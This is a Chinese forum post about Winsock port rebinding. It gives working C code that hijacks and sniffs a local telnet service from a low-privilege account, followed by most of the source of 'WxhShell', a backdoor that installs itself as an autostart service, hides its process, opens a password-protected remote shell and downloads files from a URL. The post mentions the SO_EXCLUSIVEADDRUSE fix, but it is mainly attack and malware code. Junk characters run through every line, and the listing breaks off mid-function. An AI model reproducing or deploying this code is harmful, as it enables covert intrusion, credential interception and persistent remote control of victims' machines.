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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L i^V?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 19DW~kvYk  
: Dlk `?  
  saddr.sin_family = AF_INET; ^m9cEl^:nQ  
>oNs_{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZvJx01F{  
D%btlw ?{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \k8_ZJw  
~+hG}7(:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R& A.F+Zgt  
8a {gEZT,  
  这意味着什么?意味着可以进行如下的攻击: [%y D,8  
 w4mL/j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N3)EG6vE*  
}"v "^5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5=\b+<pE  
U# gmk0>t{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;'urt /  
ho. a93  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~Gza$ K  
b7/4~_s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <T>f@Dn,  
e$Ej7_.#;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uNjy&I:  
c"r( l~fc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ym 6[~=~EK  
MtljI6  
  #include YDJc@*D  
  #include u/:@+rTV_  
  #include d!cx%[  
  #include    TaH9Nu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (J;<&v}Gad  
  int main() O #"O.GX<  
  { z!tHn#  
  WORD wVersionRequested; OB:G5B`  
  DWORD ret; &%<G2x$  
  WSADATA wsaData; W=drp>Uj  
  BOOL val; hO8B]4=&*  
  SOCKADDR_IN saddr; fsu'W]f  
  SOCKADDR_IN scaddr; Bs*s8}6  
  int err; \BA_PyS?W+  
  SOCKET s; .+.Pc_fv  
  SOCKET sc; sE% n=Ww  
  int caddsize; &f$jpIyVX  
  HANDLE mt; w$_ooQ(_;Q  
  DWORD tid;   MWB?V?qPSC  
  wVersionRequested = MAKEWORD( 2, 2 ); ugz1R+f_4{  
  err = WSAStartup( wVersionRequested, &wsaData ); gg=z.`}  
  if ( err != 0 ) { ufmFeeg  
  printf("error!WSAStartup failed!\n"); }0I! n@  
  return -1; z 'j%.Dd8  
  } Rh39x-`Z  
  saddr.sin_family = AF_INET; xJ4T7 )*  
   Kgcg:r:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O1QHG'00  
9E+^FZe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x~ I cSt  
  saddr.sin_port = htons(23); >PTq5pk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z|u_DaSrr|  
  { x9a0J1Nb-h  
  printf("error!socket failed!\n"); &}WSfZ0{  
  return -1; |oX l+&u  
  } 8I*fPf  
  val = TRUE; K/altyj`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R]dc(D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GerZA#  
  { f?)qZPM  
  printf("error!setsockopt failed!\n"); C)`/Q(^  
  return -1; zk?lNs  
  } !9-dS=:Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o9JJ_-O"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {Tx+m;5F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9K)2OX;$w  
xi^_C!*J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &#~yci2{  
  { >t.I,Zn  
  ret=GetLastError(); O\x Uv  
  printf("error!bind failed!\n"); u4%-e )$X  
  return -1; 'kp:yI7w  
  } n {M!l\1  
  listen(s,2); w(VH>t  
  while(1) *M&~R(TMn  
  { XMpPG~XdN  
  caddsize = sizeof(scaddr); kIQMIL0+  
  //接受连接请求 B<i1UJ5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GZ9XG">  
  if(sc!=INVALID_SOCKET) h|wy vYKZ  
  { P'zA=Rd&~>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9n1O@~  
  if(mt==NULL) W;2y.2*  
  { =>&d[G[m!  
  printf("Thread Creat Failed!\n"); vAX %i(4  
  break; o;}o"-s  
  } ,w c|YI)E  
  } (g5T2(_6L  
  CloseHandle(mt); ;vuok]@  
  } ~Xa >;  
  closesocket(s); *c.*e4uzF  
  WSACleanup(); gmt`_Dpm$  
  return 0; znD0&CS9q  
  }   od$Cm5  
  DWORD WINAPI ClientThread(LPVOID lpParam) I~EJctOG  
  { IpHGit28  
  SOCKET ss = (SOCKET)lpParam; L\!Pa+Iod  
  SOCKET sc; h%Bp%Y9  
  unsigned char buf[4096]; %<P&"[F]v@  
  SOCKADDR_IN saddr; g+U6E6}1  
  long num; *&!&Y*Jzg  
  DWORD val; ?z p$Wz;k  
  DWORD ret;  T=9+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pf[bOjtR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t '* L,  
  saddr.sin_family = AF_INET; ZxY%x/K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pFhznH{0  
  saddr.sin_port = htons(23); YDO#Q= q%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2e#hJ-/`-  
  { RWK|?FD\<  
  printf("error!socket failed!\n"); EQ\/I( =l  
  return -1; *}Vg]3$4  
  } qo/`9%^E?  
  val = 100; OUQySac  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C,&r7  
  { fn;`Vit#  
  ret = GetLastError(); ,x&T8o/a  
  return -1; k,OP*M  
  } \'x. DVp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xbsp[0I,  
  { AKu]c-  
  ret = GetLastError(); [<rV "g  
  return -1; .liVlo@  
  } PF~w$ eeQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^,*!Qk<c  
  { 67?O}~jbG  
  printf("error!socket connect failed!\n"); 6C7|e00v  
  closesocket(sc); 7M7sq-n5z  
  closesocket(ss); nF`_3U8e  
  return -1; ,Y  ./9F  
  } E.45 s? r  
  while(1) c>mTd{Abi  
  { 5LMAy"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?)X 0l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {S,L %  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a'r8J~:jy  
  num = recv(ss,buf,4096,0); 5bBY[qp  
  if(num>0) sYE|  
  send(sc,buf,num,0); {el,CT#  
  else if(num==0) ;auT!a~a#  
  break; {_C2c{  
  num = recv(sc,buf,4096,0); 9(eTCe-~6  
  if(num>0) ';'gKX!9V  
  send(ss,buf,num,0); Qa>t$`o`  
  else if(num==0) | $  
  break; o+*7Q!  
  } 4z6kFQgu  
  closesocket(ss); YMXhzqj  
  closesocket(sc); E?v:7p<  
  return 0 ; 29z$z$l4  
  } V96:+r  
`8M{13fv  
J@$KF GUs  
========================================================== A s"% u  
<Ukeq0  
下边附上一个代码,,WXhSHELL AO[/-Uij  
@KJ~M3d0l  
========================================================== ~'lYQ[7  
pm` f? Py  
#include "stdafx.h" 7fE U5@  
_O#R,Y2#  
#include <stdio.h> uidoz f2}  
#include <string.h> B5v5D[ o5  
#include <windows.h> tw k  
#include <winsock2.h> \&BT#8ELG  
#include <winsvc.h> <*_DC)&7 9  
#include <urlmon.h> 4m1@lnjp  
;r?s7b/>  
#pragma comment (lib, "Ws2_32.lib") ++\s0A(e  
#pragma comment (lib, "urlmon.lib") L NS O]\  
zt!)7HBo  
#define MAX_USER   100 // 最大客户端连接数 vFwhe!  
#define BUF_SOCK   200 // sock buffer i4Da'Uk  
#define KEY_BUFF   255 // 输入 buffer Bi-x gq'z  
,76Q*p  
#define REBOOT     0   // 重启 FQ_a= v  
#define SHUTDOWN   1   // 关机 5J~@jPU  
R+r;V]-/  
#define DEF_PORT   5000 // 监听端口 SiLWy=qbR  
s.$:.*k  
#define REG_LEN     16   // 注册表键长度 7x=-1wbi  
#define SVC_LEN     80   // NT服务名长度 0g'MF  S  
#b,! N  
// 从dll定义API =I8^E\O("  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dt5`UBvUg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  |\FJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Ycn&`s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?G>E[!8ev  
0d/ f4  
// wxhshell配置信息 AGhr(\j  
struct WSCFG { U_sM==~  
  int ws_port;         // 监听端口 +?'a2pUS  
  char ws_passstr[REG_LEN]; // 口令 ^V0I!&7lx  
  int ws_autoins;       // 安装标记, 1=yes 0=no sjy/[.4-  
  char ws_regname[REG_LEN]; // 注册表键名 w!r.MWE  
  char ws_svcname[REG_LEN]; // 服务名 eWOZC(I*z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K |^OnM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w&e q *q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z6fR2A~Q[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8}aSSL]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @yNCWa~N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q|_Cj]{  
\*mKctpz]6  
}; #X"fm1  
Zx&=K"  
// default Wxhshell configuration 7V%b!R}  
struct WSCFG wscfg={DEF_PORT, ?$@E}t8g\  
    "xuhuanlingzhe", 6m0- he~  
    1, eIcIl2  
    "Wxhshell", =AP0{  
    "Wxhshell", jwp?eL!7  
            "WxhShell Service", zP>=K  
    "Wrsky Windows CmdShell Service", k $E{'Dv  
    "Please Input Your Password: ", 0zpA<"S  
  1, _b! TmS#F1  
  "http://www.wrsky.com/wxhshell.exe", +{\b&q_  
  "Wxhshell.exe" !DBaC%TGC  
    }; wV q4DE  
? @- t.N  
// 消息定义模块 ua!RwSo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Va$JfWef  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q"k #eEA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ob K6GG?ZE  
char *msg_ws_ext="\n\rExit."; 8b X?HeYrr  
char *msg_ws_end="\n\rQuit."; 2Uy}#n|)r  
char *msg_ws_boot="\n\rReboot..."; b v 4  
char *msg_ws_poff="\n\rShutdown..."; uA%cie  
char *msg_ws_down="\n\rSave to "; <3 I0$?xL  
i9^m;Y)^I  
char *msg_ws_err="\n\rErr!"; \|7Y"WEQ  
char *msg_ws_ok="\n\rOK!"; qf*e2" ~v  
^.>XDUO F  
char ExeFile[MAX_PATH]; D26A%[^O  
int nUser = 0; Vr KFpFd  
HANDLE handles[MAX_USER]; o(YF`;OhvS  
int OsIsNt; P G*FIRDb  
-:Jn|=  
SERVICE_STATUS       serviceStatus; 2 W Wr./q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^}4ysw  
nm`}Z'&)  
// 函数声明 2f2.;D5g_'  
int Install(void); sDS0cc6e  
int Uninstall(void); +ooQ-Gh  
int DownloadFile(char *sURL, SOCKET wsh); i>PKE.  
int Boot(int flag); xL|4'8  
void HideProc(void); (!koz'f  
int GetOsVer(void); +~?K@n  
int Wxhshell(SOCKET wsl); M(.]?+  
void TalkWithClient(void *cs); ++CL0S$e  
int CmdShell(SOCKET sock); 9=G dj!L  
int StartFromService(void); hQ Lh}}B  
int StartWxhshell(LPSTR lpCmdLine); t_iZ\_8  
J Sms \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oI9-jW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &\Yd)#B/  
eQsoZQA1  
// 数据结构和表定义 z1LY|8$G  
SERVICE_TABLE_ENTRY DispatchTable[] = '?b.t2  
{ Iq(;?_  
{wscfg.ws_svcname, NTServiceMain}, *Vp$#Rb  
{NULL, NULL} Nu6]R677Y  
}; ?v Z5 ^k  
@v=A)L  
// 自我安装 7.(vog"I)  
int Install(void) fZt3cE\  
{ ~f[91m!+  
  char svExeFile[MAX_PATH]; 1~9AQ[]w8  
  HKEY key; z<s4-GJ)?  
  strcpy(svExeFile,ExeFile); * TR ~>|  
f2FGod<CzN  
// 如果是win9x系统,修改注册表设为自启动 4W+%`x_U]  
if(!OsIsNt) { u^uo=/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E3E$_<^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q pFzK  
  RegCloseKey(key); -O>*` O>M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <=&7*8u0+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fa;GM7<e)  
  RegCloseKey(key); Mta;6<  
  return 0; C 6wlRvWn  
    } TkV$h(#!f&  
  } gb@ |\n  
} Yq%D/dU8  
else { 7x :j4  
be5NasC  
// 如果是NT以上系统,安装为系统服务 0Z>oiBr4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0 ;ov^]  
if (schSCManager!=0) m#(ve1E  
{ 7`6JK  
  SC_HANDLE schService = CreateService c}g:vh  
  ( sYY=MD  
  schSCManager, o*1t)HL<  
  wscfg.ws_svcname, 0!,)7  
  wscfg.ws_svcdisp, !;YQQ<D  
  SERVICE_ALL_ACCESS, Zc57]~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'BwM{c-O"  
  SERVICE_AUTO_START,  LYX\#  
  SERVICE_ERROR_NORMAL, G.c@4Wz+  
  svExeFile, bNO/CD4  
  NULL, AAt<{  
  NULL, ?#X`Eu  
  NULL, 7<VfE`Q3  
  NULL, Q.[^5 8  
  NULL mLn =SU{#  
  ); )04lf*ti  
  if (schService!=0) IRQ3>4hI  
  { er0ClvB  
  CloseServiceHandle(schService); 6">jf #pE  
  CloseServiceHandle(schSCManager); c~UYs\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RU'DUf  
  strcat(svExeFile,wscfg.ws_svcname); q3E_.{t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !j.jvI%e;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E5 0$y:  
  RegCloseKey(key); P'6(HT>F?  
  return 0; s(I7}oRWsL  
    } v#`Wf}G  
  } <ST#< $%  
  CloseServiceHandle(schSCManager); ;{inhiySN  
} '2%/h4jY  
} ~f2zMTI|  
"@I"0OA  
return 1; Lay+)S.ta[  
} B$)6X  
:22IY> p  
// 自我卸载 eMvb*X6  
int Uninstall(void) @.X}S "yr  
{ (UV+/[,  
  HKEY key; [y T4n.f  
Wwf#PcC]  
if(!OsIsNt) { ^eEj 5Rh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +mT}};-TS  
  RegDeleteValue(key,wscfg.ws_regname); Y2Y2>^  
  RegCloseKey(key); 0ZV)Y<DJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cs %-f"  
  RegDeleteValue(key,wscfg.ws_regname); ^q,KR ut  
  RegCloseKey(key); Ga%]$4u  
  return 0; #7U,kTj9  
  } soZw""|v  
} ?Ib/}JST  
} puv*p %E  
else { J7.bFW'  
OR^Wd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 n,5"B  
if (schSCManager!=0) q $`:/ ehw  
{ fwRlqfi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +2w54X%?M  
  if (schService!=0) ?8(`tS(_?  
  { :u{0M&  
  if(DeleteService(schService)!=0) { iEki<e/  
  CloseServiceHandle(schService); y+?tUSPP  
  CloseServiceHandle(schSCManager); r<O^uz?Di  
  return 0; l#o43xr  
  } UUY-EC7X  
  CloseServiceHandle(schService); 8'B\%.+"8e  
  } jl2nRo  
  CloseServiceHandle(schSCManager); ,/W< E  
} r[Q$w>  
} fwAN9zs  
9MLvHrB;  
return 1; [ylGNuy  
} Ytx+7OLe  
"`"j2{9|e!  
// 从指定url下载文件 u?g!E."v  
int DownloadFile(char *sURL, SOCKET wsh) i&>,aiH@  
{ #fGb M!3p  
  HRESULT hr; ^l^_K)tw*  
char seps[]= "/"; %1VMwqC]E  
char *token; Mn~A;=%qF  
char *file; 9$Mi/eLG2N  
char myURL[MAX_PATH]; *!9/`zW  
char myFILE[MAX_PATH]; 2c%}p0<;|?  
d=qpTb;(  
strcpy(myURL,sURL); 9'toj%XQ  
  token=strtok(myURL,seps);  R/^JyL  
  while(token!=NULL) sp**Sg)  
  {  A ]U]  
    file=token; MmWJYF=  
  token=strtok(NULL,seps); BQS9q'u_  
  } 4!k={Pd  
t48(GKF  
GetCurrentDirectory(MAX_PATH,myFILE); P>@`hZ9 o  
strcat(myFILE, "\\"); Xe+&/J5b  
strcat(myFILE, file); +X*`}-3  
  send(wsh,myFILE,strlen(myFILE),0); 1~ S Y  
send(wsh,"...",3,0); 6>=>Yj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4nl>&AV  
  if(hr==S_OK) GoEIY  
return 0; FOk @W&  
else uaPBM<  
return 1; {yb\p9q{Yo  
NNl/'ge <\  
} 7-o=E=  
}=;>T)QmMO  
// 系统电源模块 &YT7>z,  
int Boot(int flag) gv[7h'}<  
{ a ^)Mx9  
  HANDLE hToken; p fBO5Ys  
  TOKEN_PRIVILEGES tkp; 3(5RUI-  
9)l_(*F  
  if(OsIsNt) { .@6]_h;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MW`a>'0t?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }qD.Ek  
    tkp.PrivilegeCount = 1; ~o/^=:*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xu:m~8%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4|$D.`Wu  
if(flag==REBOOT) { :):Y6)giBD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Eq8OAuN  
  return 0; `C*!de]Y%  
} @&Nvb.5nT  
else { T) ,:8/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T?\CAk>  
  return 0; m|]^f;7z  
} GcU/   
  } @l(Y6m|v\  
  else { 'd t}i<  
if(flag==REBOOT) { O h" ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R&4E7wrdP  
  return 0; ]Qu12Wg}P  
} H*\[:tPa  
else { q~^:S~q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fiZv+R<x1  
  return 0; 6fV)8,F3  
} + kF[Oh#  
} Wl#^Eu\g1W  
{cv;S2  
return 1; c}QJ-I   
} .HQ<6k:  
ya_'Oz!C  
// win9x进程隐藏模块 vv0zUvmT  
void HideProc(void) W vJ?e  
{ +E [bLz^  
<dN=d3S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =N{eiJ.(p  
  if ( hKernel != NULL ) xI<dBg|]+  
  { A$F;fCV*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;:|KfXiC8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Y4&Sba^Y  
    FreeLibrary(hKernel); btF%}<o)  
  } gr?pvf!I  
2wBU@T1  
return; Q$vr`yV#=6  
} A C^[3  
rl^LS z  
// 获取操作系统版本 8QN8bGxK   
int GetOsVer(void) .cF$f4>2  
{ ;iORfUjxrq  
  OSVERSIONINFO winfo; vs@:L)GW\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s4$m<"~  
  GetVersionEx(&winfo); '&QT}B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u}1vn}F{  
  return 1; "r V4[MVxt  
  else N 9&@,3  
  return 0; ee_\_"  
} 5 WppV3;  
]R{"=H'  
// 客户端句柄模块 Rdg0WT*;j  
int Wxhshell(SOCKET wsl) H ZLOn  
{ D&r8V;G[[  
  SOCKET wsh; ~|9LWp_  
  struct sockaddr_in client; ^.C X6%  
  DWORD myID; ]2%P``Yj  
t4k'9Y:\Q  
  while(nUser<MAX_USER) W{+0iAYnp  
{ L||yQH7n  
  int nSize=sizeof(client); |<|,RI?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'TrrOq4  
  if(wsh==INVALID_SOCKET) return 1; R$fIb}PDr  
#@6L|$iX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JX)z<Dz$  
if(handles[nUser]==0) otSPi7|k  
  closesocket(wsh); S.)7u6/_!  
else NoAb}1uae  
  nUser++; (1,#=e+  
  } gwaC?tf[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'B5J.Xe:  
_O;~ }N4u  
  return 0; O|&TL9:  
} JGDUCb~  
6J-}&U  
// 关闭 socket i>Bi&azx  
void CloseIt(SOCKET wsh) /e sk  
{ J8v:a`bX&  
closesocket(wsh); ;v +uv f  
nUser--; K^vp(2  
ExitThread(0); Kc[u} .U  
} cNr][AzU@  
pt cLJ]+)  
// 客户端请求句柄 :/[YY?pg-  
void TalkWithClient(void *cs) q uGPk)c  
{ Z)O>h^0  
 q3-;}+  
  SOCKET wsh=(SOCKET)cs; Wx|6A#cg!  
  char pwd[SVC_LEN]; Zc3:9   
  char cmd[KEY_BUFF]; Px7g\[]  
char chr[1]; xFm{oJ!]&  
int i,j; ar qLp|  
4EhBpTg  
  while (nUser < MAX_USER) { b)hOzx  
l6B^sc*@  
if(wscfg.ws_passstr) { 9h38`*Im;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ U8}sH^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eN<pU%7  
  //ZeroMemory(pwd,KEY_BUFF); VtzmY  
      i=0; {.D2ON  
  while(i<SVC_LEN) { &]yJCzo]  
%cr]ZR  
  // 设置超时 7YXXkdgbd  
  fd_set FdRead; ?tC}M;~  
  struct timeval TimeOut; ?J@?,rZQ^V  
  FD_ZERO(&FdRead); 88np/jvC{  
  FD_SET(wsh,&FdRead); Bx}0E  
  TimeOut.tv_sec=8; =Sb:<q+Q  
  TimeOut.tv_usec=0; SeZT4y*=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c7l!G~yx'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (-' 0g@0UA  
-m'3L7:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #:vDBP05.m  
  pwd=chr[0]; p]V-<  
  if(chr[0]==0xd || chr[0]==0xa) { enbN0  
  pwd=0; rxgVT4  
  break; /,!7jF:  
  } 3n84YX{  
  i++; ;c m wh<  
    } ,F?~'-K  
ok>P [ &!  
  // 如果是非法用户,关闭 socket hKH$AEHEU}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^0-e,d 9h  
} ZLN_,/7  
4j@kMe;RjZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dmm r]~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rd vPsv} D  
ycl>git]  
while(1) { "\zj][sL  
5<)gCHa  
  ZeroMemory(cmd,KEY_BUFF); KXx@ {cv  
N+C)/EN$  
      // 自动支持客户端 telnet标准   wKi}@|0[@  
  j=0; C{`^9J-  
  while(j<KEY_BUFF) { LG Y!j_bD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A1|7(Sow  
  cmd[j]=chr[0]; l)i &ATvCE  
  if(chr[0]==0xa || chr[0]==0xd) { I_zk'  
  cmd[j]=0; RvPniT(<?  
  break; $&xuVBs   
  } Ukh$`q}  
  j++; Wlr&g xZ  
    } 3I;xU(rv  
w]W`R.  
  // 下载文件 38w.sceaT  
  if(strstr(cmd,"http://")) { 0279g   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (pT(&/\8  
  if(DownloadFile(cmd,wsh)) /jjW/ lr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kyRh k\X  
  else 5D]30  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  d-ag  
  } C>Omng1>^  
  else { g:uvoMUD  
*w'q  
    switch(cmd[0]) { )p/=u@8_f  
  P|e:+G7  
  // 帮助 }&Wp3EWw  
  case '?': { ;T5,T   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J$6-c' 8  
    break; H)`CncB  
  } |<j,Tr1[  
  // 安装 H9Y2n 0  
  case 'i': { 7x[LF ^o  
    if(Install()) v+!y;N;Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]k ::J>84  
    else  .6O52E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KMxNH,5  
    break; `2B*CMW{  
    } 9*}iBs  
  // 卸载 ^eT DD  
  case 'r': { )K>Eniou  
    if(Uninstall()) laUu"cS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_$XP   
    else =~GE?}.o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rxs~y{ Xi  
    break; `y8 ?=  
    } *3A3>Rwu  
  // 显示 wxhshell 所在路径 ~_DF06G  
  case 'p': { 1A7%0/K-]  
    char svExeFile[MAX_PATH]; o }9M`[  
    strcpy(svExeFile,"\n\r"); Veb+^&  
      strcat(svExeFile,ExeFile); d] b~)!VW  
        send(wsh,svExeFile,strlen(svExeFile),0); ]}mly` Fw  
    break; iGG6Myp-  
    } zAeGkP~K  
  // 重启 p{iG{  
  case 'b': { ,{.zh&=4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 82j'MgGP  
    if(Boot(REBOOT)) fH{9]TU_:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B<|:K\MA  
    else { }1U#Ve,=_  
    closesocket(wsh); =)(3Dp  
    ExitThread(0); xN#bzma  
    } cZNi~  
    break; 0lX)Cl  
    } pyUNRqp  
  // 关机 I#"t'=9H  
  case 'd': { j2RRSz&9  
